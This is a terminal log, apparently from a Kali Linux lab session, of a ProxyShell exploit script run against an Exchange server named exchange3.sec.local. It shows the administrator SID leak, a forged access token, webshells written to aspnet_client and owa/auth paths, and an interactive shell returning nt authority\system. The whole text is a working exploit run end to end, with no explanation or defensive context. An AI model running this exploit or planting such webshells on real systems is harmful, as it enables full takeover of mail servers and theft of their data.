(base) ┌──(root㉿Kali)-[~/tools/proxyshell-auto]
└─# python3 proxyshell.py -t exchange3.sec.local
fqdn exchange3.sec.local
+ Administrator@sec.local
legacyDN /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=cb968bc6fc7449e09efe589fab569c4b-Admin
leak_sid S-1-5-21-2066713137-2133816201-3751750268-500
token VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBdBZG1pbmlzdHJhdG9yQHNlYy5sb2NhbFUtUy0xLTUtMjEtMjA2NjcxMzEzNy0yMTMzODE2MjAxLTM3NTE3NTAyNjgtNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA
set_ews Success with subject tadcitbremmgnuez
write webshell at aspnet_client/yjtqj.aspx
<Response [404]>
<Response [404]>
<Response [404]>
<Response [404]>
<Response [404]>
write webshell at owa/auth/oftbr.aspx
<Response [404]>
<Response [404]>
<Response [404]>
<Response [500]>
nt authority\system
SHELL> whoami
nt authority\system
SHELL>
